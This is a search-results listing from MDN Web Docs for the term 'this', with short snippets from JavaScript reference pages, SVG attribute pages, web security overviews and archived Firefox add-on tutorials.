this match to retrieve the corresponding value from the array of values.
...
this would also prevent the corresponding values from being garbage collected.
...And 2 more matches
Standard built-in objects - JavaScript
this chapter documents all of javascript's standard, built-in objects, including their methods and properties.
... the global object itself can be accessed using the
this operator in the global scope.
... infinity nan undefined global
this function properties these global functions—functions which are called globally, rather than on an object—directly return their results to the caller.
...And 2 more matches
Comma operator (,) - JavaScript
this lets you create a compound expression in which multiple expressions are evaluated, with the compound expression's final value being the value of the rightmost of its member expressions.
...
this is commonly used to provide multiple parameters to a for loop.
... the source for
this interactive example is stored in a github repository.
...And 2 more matches
Destructuring assignment - JavaScript
the source for
this interactive example is stored in a github repository.
... const x = [1, 2, 3, 4, 5]; const [y, z] = x; console.log(y); // 1 console.log(z); // 2
this capability is similar to features present in languages such as perl and python.
... in
this example, f() returns the values [1, 2] as its output, which can be parsed in a single line with destructuring.
...And 2 more matches
Nullish coalescing operator (??) - JavaScript
the source for
this interactive example is stored in a github repository.
... see pr #1482 regarding the addition of
this example.
...rightexpr examples using the nullish coalescing operator in
this example, we will provide default values but keep values other than null or undefined.
...And 2 more matches
Spread syntax (...) - JavaScript
the source for
this interactive example is stored in a github repository.
...however, an array can be easily used with new thanks to spread syntax: const datefields = [1970, 0, 1]; // 1 jan 1970 const d = new date(...datefields); to use new with an array of parameters without spread syntax, you would have to do it indirectly through partial application: function applyandnew(constructor, args) { function partial () { return constructor.apply(
this, args); }; if (typeof constructor.prototype === "object") { partial.prototype = object.create(constructor.prototype); } return partial; } function myconstructor () { console.log("arguments.length: " + arguments.length); console.log(arguments);
this.prop1="val1";
this.prop2="val2"; }; const myarguments = ["hi", "how", "are", "you", "mr", null]; const myconstructorw...
...with spread syntax
this becomes much more succinct: const parts = ['shoulders', 'knees']; const lyrics = ['head', ...parts, 'and', 'toes']; // ["head", "shoulders", "knees", "and", "toes"] just like spread for argument lists, ...
...And 2 more matches
yield - JavaScript
the source for
this interactive example is stored in a github repository.
...
this halts execution of the generator entirely, and execution resumes in the caller (as is normally the case when an exception is thrown).
...in
this case, execution of the generator ends and an iteratorresult is returned to the caller in which the value is undefined and done is true.
...And 2 more matches
label - JavaScript
the source for
this interactive example is stored in a github repository.
... j === 1) { continue loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // "i = 2, j = 0" // "i = 2, j = 1" // "i = 2, j = 2" // notice how it skips both "i = 1, j = 1" and "i = 1, j = 2" using a labeled continue statement given an array of items and an array of tests,
this example counts the number of items that passes all the tests.
... //the second for statement is labeled "loop2" if (i === 1 && j === 1) { break loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // notice the difference with the previous continue example using a labeled break statement given an array of items and an array of tests,
this example determines whether all items pass all tests.
...And 2 more matches
throw - JavaScript
the source for
this interactive example is stored in a github repository.
... function userexception(message) {
this.message = message;
this.name = 'userexception'; } function getmonthname(mo) { mo = mo - 1; // adjust month number for array index (1 = jan, 12 = dec) var months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec']; if (months[mo] !== undefined) { return months[mo]; } else { throw new userexception('invalidmonthno'); } } try { ...
... */ function zipcode(zip) { zip = new string(zip); pattern = /[0-9]{5}([- ]?[0-9]{4})?/; if (pattern.test(zip)) { // zip code value will be the first match in the string
this.value = zip.match(pattern)[0];
this.valueof = function() { return
this.value };
this.tostring = function() { return string(
this.value) }; } else { throw new zipcodeformatexception(zip); } } function zipcodeformatexception(value) {
this.value = value;
this.message = 'does not conform to the expected format for a zip code';
this.tostri...
...And 2 more matches
Template literals (Template strings) - JavaScript
if there is an expression preceding the template literal (tag here),
this is called a tagged template.
... using normal strings, you would have to use the following syntax in order to get multi-line strings: console.log('string text line 1\n' + 'string text line 2'); // "string text line 1 // string text line 2" using template literals, you can do the same like
this: console.log(`string text line 1 string text line 2`); // "string text line 1 // string text line 2" expression interpolation in order to embed expressions within normal strings, you would use the following syntax: let a = 5; let b = 10; console.log('fifteen is ' + (a + b) + ' and\nnot ' + (2 * a + b) + '.'); // "fifteen is 15 and // not 20." now, with template literals, you are able to make...
... use of the syntactic sugar, making substitutions like
this more readable: let a = 5; let b = 10; console.log(`fifteen is ${a + b} and not ${2 * a + b}.`); // "fifteen is 15 and // not 20." nesting templates in certain cases, nesting a template is the easiest (and perhaps more readable) way to have configurable strings.
...And 2 more matches
JavaScript reference - JavaScript
this part of the javascript section on mdn serves as a repository of facts about the javascript language.
... read more about
this reference.
... value properties infinity nan undefined global
this function properties eval() isfinite() isnan() parsefloat() parseint() decodeuri() decodeuricomponent() encodeuri() encodeuricomponent() fundamental objects object function boolean symbol error objects error aggregateerror evalerror internalerror rangeerror referenceerror syntaxerror typeerror urierror numbers & dates number bigint math date text processing string regexp indexed collections array int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array ...
...And 2 more matches
JavaScript
this section is dedicated to the javascript language itself, and not the parts that are specific to web pages or other host environments.
...
this documentation refers to the latest draft version, which is currently ecmascript 2020.
... introducing javascript objects the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided
this module to help you.
...And 2 more matches
dur - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value>
this value specif...
... media
this value specifies the simple duration as the intrinsic media duration.
...
this is only valid for elements that define media.
...And 2 more matches
href - SVG: Scalable Vector Graphics
fifteen elements are using
this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
... value <url> default value none animatable yes animate, animatemotion, animatetransform, set for the <animate>, <animatemotion>, <animatetransform>, and <set>, href defines a url referring to the element which is the target of
this animation element and which therefore will be modified over time.
... except for any svg-specific rules explicitly mentioned in
this specification, the normative definition for
this attribute is the smil animation specification.
...And 2 more matches
orient - SVG: Scalable Vector Graphics
only one element is using
this attribute: <marker> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <p...
...olyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto
this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed.
... note:
this allows a single arrowhead marker to be defined that can be used for both the start and end of a path, i.e.
...And 2 more matches
result - SVG: Scalable Vector Graphics
the result attribute defines the assigned name for
this filter primitive.
... if supplied, then graphics that result from processing
this filter primitive can be referenced by an in attribute on a subsequent filter primitive within the same <filter> element.
... seventeen elements are using
this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegrap...
...And 2 more matches
shape-rendering - SVG: Scalable Vector Graphics
vg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" shape-rendering="geometricprecision"/> <circle cx="320" cy="100" r="100" shape-rendering="crispedges"/> </svg> usage notes value auto | optimizespeed | crispedges | geometricprecision default value auto animatable yes auto
this value indicates that the user agent shall make appropriate tradeoffs to balance speed, crisp edges and geometric precision, but with geometric precision given more importance than speed and crisp edges.
... optimizespeed
this value indicates that the user agent shall emphasize rendering speed over geometric precision and crisp edges.
...
this option will sometimes cause the user agent to turn off shape anti-aliasing.
...And 2 more matches
spreadMethod - SVG: Scalable Vector Graphics
two elements are using
this attribute: <lineargradient> and <radialgradient> context notes value pad | reflect | repeat initial value pad animatable yes pad
this value indicates that the final color of the gradient fills the shape beyond the gradient's edges.
... reflect
this value indicates that the gradient repeats in reverse beyond its edges.
... repeat
this value specifies that the gradient repeats in the original order beyond its edges.
...And 2 more matches
xChannelSelector - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" s...
...cale="30" xchannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r
this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the x-axis.
... g
this keyword specifies that the green color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the x-axis.
...And 2 more matches
xml:space - SVG: Scalable Vector Graphics
this attribute influences how browsers parse text content and therefore changes the way the dom is built.
... therefore, changing
this attributeʼs value through the dom api may have no effect.
... all elements are using
this attribute.
...And 2 more matches
yChannelSelector - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" s...
...cale="30" ychannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r
this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis.
... g
this keyword specifies that the green color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis.
...And 2 more matches
SVG animation with SMIL - SVG: Scalable Vector Graphics
smil allows you to: animate the numeric attributes of an element (x, y, ...) animate transform attributes (translation or rotation) animate color attributes follow a motion path
this is done adding an svg element like <animate> inside the svg element to animate.
...
this new element is necessary because we are not animating a simple attribute like x which is just a number.
... rotation attributes look like
this: rotation(theta, x, y), where theta is the angle in degrees, and x and y are absolute positions.
...And 2 more matches
Clipping and masking - SVG: Scalable Vector Graphics
in
this case, any half-transparent effects are not possible, it's an all-or-nothing approach.
...
this rectangular on its own would paint the upper half of the canvas black.
...if you want an element to fade out, you can achieve
this effect quite quickly with masks.
...And 2 more matches
Getting started - SVG: Scalable Vector Graphics
the text is positioned by setting an anchor where we want the midpoint to be: in
this case, the midpoint should correspond to the center of the green circle.
...however,
this technique doesn't work in firefox before 4.0.
...with
this method, replacement technologies can be implemented for browsers which normally can't process svg.
...And 2 more matches
SVG In HTML Introduction - SVG: Scalable Vector Graphics
overview
this article and its associated example shows how to use inline svg to provide a background picture for a form.
...
this element and its children are declared to be in the svg namespace.
...(another style rule makes an error message appear.)
this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive background the approach is backwards compatible to browsers that do not support svg; simply, no background appears in them it's very simple and performs very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative sty...
...And 2 more matches
Same-origin policy - Web security
you may see
this referenced as the "scheme/host/port tuple", or just "tuple".
...if
this popup also contains javascript, that script would inherit the same origin as the script that created it.
...
this is necessary even if doing so is simply setting the parent domain back to its original value.
...And 2 more matches
Features restricted to secure contexts - Web security
this reference lists the web platform features available only in secure contexts — see secure contexts for a definition and more details.
... current features available only in secure contexts
this section lists all the apis available only in secure contexts, along with browser versions the limitation was introduced in, as appropriate.
... note: only the browsers that actually support secure contexts are listed in
this document.
...And 2 more matches
Index - XPath
this axis can be abbreviated with the at sign (@).
... 16 comparison of css selectors and xpath css, draft, needscontent, reference, selectors, xpath
this article seeks to document the difference between css selectors and xpath for web developers to be able to better choose the right tool for the right job.
...
this is non-xml data referenced in the dtd of the source document.
...And 2 more matches
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
he is also the author of the only book on
this subject to have reached a second edition.
...
this is a very big book, well laid out, and exhaustive, if sometimes exhausting, in detail, covering every possible base in the xslt story.
...
this book is somewhat less comprehensive than michael kay's, but it covers the basics well, and offers some intriguing examples.
...And 2 more matches
XSLT: Extensible Stylesheet Language Transformations
using the mozilla javascript interface to xsl transformations
this document describes the javascript interface to the xslt processing engine in mozilla 1.2 and up.
...
this is done using the <?xslt-param?> pi described in
this document.
... xslt tutorial
this w3schools tutorial teaches the reader how to use xslt to transform xml documents into other formats, like xhtml.
...And 2 more matches
notifications - Archive of obsolete content
usage
this api supports desktop notifications on windows, os x using growl (and notification center as of os x 10.9 mavericks), and linux using libnotify.
... var notifications = require("sdk/notifications"); notifications.notify({ title: "jabberwocky", text: "'twas brillig, and the slithy toves", data: "did gyre and gimble in the wabe", onclick: function (data) { console.log(data); // console.log(
this.data) would produce the same result.
... } });
this one displays an icon that's stored in the add-on's data directory.
...so you can rewrite the above code like
this: var notifications = require("sdk/notifications"); var myiconurl = "./myicon.png"; notifications.notify({ text: "i have an icon!", iconurl: myiconurl });
this module depends on the underlying system's notification service.
private-browsing - Archive of obsolete content
when they do
this, any existing non-private windows are kept open, so the user will typically have both private and non-private windows open at the same time.
...it returns true only if the object is: a private window, or a tab belonging to a private window, or a worker that's associated with a document hosted in a private window any window, tab, or worker if the browser has been configured to never remember history (options->privacy->history) add-ons can use
this api to decide whether or not to store user data.
... to do
this with the sdk, you can listen to the system event named "last-pb-context-exited": var events = require("sdk/system/events"); function listener(event) { console.log("last private window closed"); } events.on("last-pb-context-exited", listener); globals functions isprivate(object) function to check whether the given object is private.
...
this may be a browserwindow, tab, or worker.
loader/sandbox - Archive of obsolete content
load scripts
this module provides a limited api for loading scripts from local urls.
...
this argument can be: a uri string, giving the sandbox the same privileges as a script loaded from that url a dom window object, giving the sandbox the same privileges as the dom window null, to give the sandbox chrome privileges.
... line : number evaluate the code starting at
this line.
... version : string evaluate the code using
this version of javascript.
util/array - Archive of obsolete content
add(array, element) if the given array does not already contain the given element,
this function adds the element to the array and returns true.
... otherwise,
this function does not add the element and returns false.
... remove(array, element) if the given array contains the given element,
this function removes the element from the array and returns true.
... otherwise,
this function does not alter the array and returns false.
util/collection - Archive of obsolete content
this way the caller can fully control the collection.
... parameters object : object the property will be defined on
this object.
... backingarray : array if given,
this will be used as the collection's backing array.
...would print
this to the console: 1 2 3 iteration proceeds over a copy of the collection made before iteration begins, so it is safe to mutate the collection during iteration; doing so does not affect the results of the iteration.
Implementing the widget - Archive of obsolete content
warning:
this tutorial relies on the since-removed widget api and no longer works with firefox.
...
this hierarchy isn't mandatory; you could just keep them all under data.
... but it seems tidier
this way.
... the widget's content script the widget's content script just listens for left- and right- mouse clicks and posts the corresponding message to the add-on code:
this.addeventlistener('click', function(event) { if(event.button == 0 && event.shiftkey == false) self.port.emit('left-click'); if(event.button == 2 || (event.button == 0 && event.shiftkey == true)) self.port.emit('right-click'); event.preventdefault(); }, true); save
this in your data/widget directory as widget.js.
Overview - Archive of obsolete content
warning:
this tutorial relies on the since-removed widget api and no longer works with firefox.
... we could represent the basic interactions between the main module and the various content scripts like
this: user interface the annotator's main user interface consists of a widget and three panels.
...the simplest way to do
this is to omit the "private-browsing" key from the add-on's "package.json" file.
... if we do
this, then the add-on won't see any private windows, and the annotator's widget will not appear in any private windows.
List Open Tabs - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
... the following add-on adds an action button that logs the urls of open tabs when the user clicks it: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) console.log(tab.url); } note: to get
this working, you will need to save an icon for the button to your add-on's "data" directory as "icon-16.png".
...you'll see output in the command line console that looks something like
this: info: http://www.mozilla.org/about/ info: http://www.bbc.co.uk/ you don't get direct access to any content hosted in the tab.
...
this add-on attaches a script to all open tabs.
Listen for Page Load - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
...the following add-on listens to the tab's built-in ready event and just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find
this console output in the browser console, not the web console.
...
this add-on attaches a script to all open tabs.
... the script adds a red border to the tab's document: require("sdk/tabs").on("ready", runscript); function runscript(tab) { tab.attach({ contentscript: "if (document.body) document.body.style.border = '5px solid red';" }); } (
this example is only to show the idea: to implement something like
this, you should instead use page-mod, and specify "*" as the match-pattern.) learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Open a Web Page - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
... to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com");
this function is asynchronous, so you don't immediately get back a tab object which you can examine.
... to do
this, pass a callback function into open().
...
this add-on loads a page, then attaches a script to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscript }); function runscript(tab) { tab.attach({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api referenc...
JS XPCOM - Archive of obsolete content
for example, var nsfile = components.constructor("@mozilla.org/file/local;1", "nsifile", "initwithpath"); var file = new nsfile(filepath); they can also be created and initialized manually: var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsifile); file.initwithpath(filepath);
this creates a new instance of the object with contract id @mozilla.org/file/local;1 and allows you to call methods from the nsifile interface on it.
...with the preferences service from the previous example we can do the following: var preferences = preferences.queryinterface(components.interfaces.nsiprefbranch2);
this allows you to use the methods in the nsiprefbranch2 interface.
... determining which interfaces an xpcom component supports to display a list of all interfaces that an xpcom component supports, do the following: // |c| is the xpcom component instance for each (i in components.interfaces) { if (c instanceof i) { alert(i); } } in
this context, instanceof is the same as queryinterface except that it returns false instead of throwing an exception when |c| doesn't support interface |i|.
... xpcomutils - about protocol handler
this example implements a quick about protocol handler in js using xpcomutils.jsm.
LookupNamespaceURI - Archive of obsolete content
this function is not necessary for gecko-based browsers (though the function will quickly return the standard value for mozilla browsers) when used to reflect on static documents.
... however, due to bug 312019,
this method does not work with dynamically assigned namespaces (e.g., those set with node.prefix).
...document : htmldocument; // support htmldocument if document not present // if document is present, is
this method also present?
... addlookupnamespaceuri(doc); addlookupnamespaceuri(element); function addlookupnamespaceuri (type) { if (!type.prototype.lookupnamespaceuri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(
this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespace...
QuerySelector - Archive of obsolete content
// if you'd like to convert it to a array for convenience, use
this instead: // return array.prototype.slice.call(el.queryselectorall(selector)); } alert($('#myid').id); (note that while using the firefox web console, the above functions are available automatically.) both xul and even xml can be easily made supportable (an alternative approach to the following would be to add chromewindow.prototype or window.prototype, accessing
this.document.queryselector,...
... or following the jquery style of chaining by returning '
this' within each prototype method of $()): htmldocument.prototype.$ = function (selector) { // only for html return
this.queryselector(selector); }; example: <h1>test!</h1> <script> htmldocument.prototype.$ = function (selector) { return
this.queryselector(selector); }; alert(document.$('h1')); // [object htmlheadingelement] </script> xuldocument.prototype.$ = function (selector) { // only for xul return
this.queryselector(selector); }; example: <label value="test!"/> <script type="text/javascript"><![cdata[ xuldocument.prototype.$ = function (selector) { // only for xul return
this.queryselector(selector); }; alert(document.$('label')); // [object xulelement] ]]></script> document.prototype.$ = function (selector...
...) { // only for plain xml return
this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo', null); // create an xml document <foo xmlns="somens"/> var bar = foo.createelementns('somens', 'bar'); // add <bar xmlns="somens"/> foo.documentelement.appendchild(bar); alert(foo.$('bar').nodename); // gives 'bar' element.prototype.$ = function (selector) { // works for html, xul, and plain xml return
this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <script> element.prototype.$ = function (selector) { return
this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <script type="text/javascript"><![cdata[ element.prototype.$ = function (selector) { ...
... return
this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(document.getelementsbytagnamens(xulns, 'hbox')[0].$('vbox').nodename); // vbox ]]></script> xml example: <foo xmlns="somens"><bar/></foo> in document earlier var foo = document.getelementsbytagnamens('somens', 'foo')[0]; alert(foo.$('bar')); note that for plain xml, the # 'id' selector will not work with an 'id' attribute (since a such-named attribute need not necessarily be of type id in xml, though it is in html and xul), nor will it work with xml:id.
Running applications - Archive of obsolete content
this page describes how to run other programs from your chrome javascript code, using mozilla xpcom interfaces.
... using nsilocalfile.launch()
this method is not implemented on all platforms, especially not on unix/linux!
... see nsilocalfile.launch() for details and make sure that all your target platforms support
this method!
...
this method has the same effect as if you double-clicked the file, so for executable files—it will just run the file without any parameters.
JavaScript timers - Archive of obsolete content
this timestamp is equal to the number of milliseconds since the navigationstart attribute of the performance.timing interface.
...
this can be useful, for example, if you want to have your worker thread run code periodically instead of nonstop.
...
this article provides a list of those.
...unfortunately the canvas element was never designed to be used in
this way (unlike flash) so there are limitations.
View Source for XUL Applications - Archive of obsolete content
this is optional if outerwindowid is not passed.
...pass
this if you want to attempt to load the document source out of the network cache.
... deprecated api
this api is likely to go away in the future, and should no longer be used.
...
this is usually gotten from the nsiwebpagedescriptor interface via currentdescriptor.
getAttributeNS - Archive of obsolete content
this function is not necessary for gecko-based browsers.
... function getattributenswrapper (
thisitem, ns, nsatt) { if (
thisitem === null) { return false; } if (
thisitem.getattributens) { return
thisitem.getattributens(ns, nsatt); } else if (ns === null) { return
thisitem.getattribute(nsatt); } else if (ns === 'http://www.w3.org/xml/1998/namespace') { //
this is assumed so don't try to get an xmlns for the 'xml' prefix return
thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs =
thisitem.attributes; var prefixatt = new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name being searched (escape period since only character (besides colon) allowed in an xml name which...
... needs escaping) for (var j = 0; j < attrs.length; j++) { //
thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) &&
thisitem.nodename !== '#document' &&
thisitem.nodename !== '#document-fragment') { var xmlnsprefix = new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink // check higher up for xmlns:prefix // check the current node and if necessary, check for the next matching local name up in the hierarchy (until reaching the document root) while (
thisitem.nodename !== '#document' &&
thisitem.nodename !== '#document-fragment') { attrs2 =
thisitem.attributes; for (var i = 0; i < attrs2.length; i++) { // search for an...
...y prefixed xmlns declaration on
thisitem which match prefixes found above with desired local name if (attrs2[i].nodename.match(xmlnsprefix) && attrs2[i].nodevalue === ns ) { // e.g., 'xmlns:xlink' and 'http://www.w3.org/1999/xlink' return attrs[j].nodevalue; } }
thisitem =
thisitem.parentnode; } } } return ''; // if not found (some implementations return 'null' but
this is not standard) } alert(getattributenswrapper (someelement, 'http://www.w3.org/1999/xlink', 'href')); // gets xlink:href, xl:href, etc.
Extension Theming Guidelines - Archive of obsolete content
this is a set of guidelines on how to control the look and feel of your extension while leaving it open for styling by custom themes.
...while it may be tempting to use the same stylesheet in multiple places try to avoid
this so that themes can correctly target the right windows.
...in
this case you should add a stylesheet to your chrome content package and apply the bindings there.
...
this is one of the rare cases where it is sensible to put the stylesheet into the content area.
Offering a context menu for form controls - Archive of obsolete content
this article describes how an extension can override
this change in a particular window, enabling context menus to work on form controls.
...
this article presents information based on ehsan akhgari's form control context menu extension, which was created specifically to demonstrate how to do
this.
... there is ongoing discussion about
this topic; please see bug 433168 for the latest information.
... window.addeventlistener("load", function() { let settargetoriginal = nscontextmenu.prototype.settarget; components.utils.reporterror(settargetoriginal); nscontextmenu.prototype.settarget = function(anode, arangeparent, arangeoffset) { settargetoriginal.apply(
this, arguments); if (
this.istargetaformcontrol(anode))
this.shoulddisplay = true; }; }, false);
this code, which is run when the window is opened up, works by replacing the settarget() routine for the prototype of nscontextmenu with one that forces the context menu to display if the target of the menu is a form control.
Extensions support in SeaMonkey 2 - Archive of obsolete content
the code for that will look something like
this: <em:targetapplication> <!-- seamonkey --> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>2.*</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed.
...rkspopup bookmarks menu popup menu_toolspopup taskpopup taskpopup tools menu popup - windowpopup windowpopup window menu popup menu_helppopup helppopup helppopup help menu popup urlbar icons to display a button with a menupopup in the urlbar-icons for both firefox and seamonkey 2.0, use
this code: <hbox id="urlbar-icons"> <image popup="myext-menu"/> </hbox> <window id="main-window"> <menupopup id="myext-menu"> <menuitem label="menuitem"/> <menuitem label="menuitem"/> </menupopup> </window> instead of <hbox id="urlbar-icons"> <button type="menu"> <menupopup> <menuitem...
...although
this doesn't affect the appearance of the display, it may affect your extension if it overlays chrome relative to these elements.
... for example, if you overlay some chrome before the status bar, like
this: <vbox id="browser-bottombox"> <something insertbefore="status-bar" /> </vbox> use the following technique to make your overlay work on both seamonkey 2 and firefox 3: <window id="main-window"> <vbox id="browser-bottombox" insertbefore="status-bar"> <something insertbefore="status-bar" /> </vbox> </window> thunderbird 3 gfolderdisplay api seamonkey 2.0 only supports a reduced set of methods: selectedcount selectedmessage selectedmessageisfeed selectedmessageisimap selectedmessageisnews selectedmessageisexternal selectedindices selectedmessages selectedmessageuris messagedisplay gmessagedisplay api seamonkey 2.0 only supports a reduced set of methods: displayedmessage visible javasc...
Using the Stylesheet Service - Archive of obsolete content
the stylesheets registered with
this api apply to all documents; firefox 18 extended nsidomwindowutils with loadadditionalstylesheet() and removeadditionalstylesheet() to manage stylesheets for a specific document (bug 737003).
... the examples in
this document are all written in javascript using xpcom.
...etservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/content/myext.css", null, null); sss.loadandregistersheet(uri, sss.user_sheet); note: loadandregistersheet will load the stylesheet synchronously, so you should only call
this method using local uris.
... usage notes stylesheets added using
this service get applied to both chrome and content documents.
Beginner tutorials - Archive of obsolete content
this page includes archived beginners tutorials, from various places around mdn.
... creating reusable content with css and xbl
this page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore character in css can lead to major display problems in multiple browsers.
... learn why
this is so, and how to keep your sites from being bitten by
this problem.
...
this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml data
this page contains an example of how you can use css with xml data.xul user interfaces
this page illustrates mozilla's specialized language for creating user interfaces.
Monitoring WiFi access points - Archive of obsolete content
this capability was introduced primarily to allow wifi-based location services to be used by geolocation services.
... example
this example simply displays a list of the available access points.
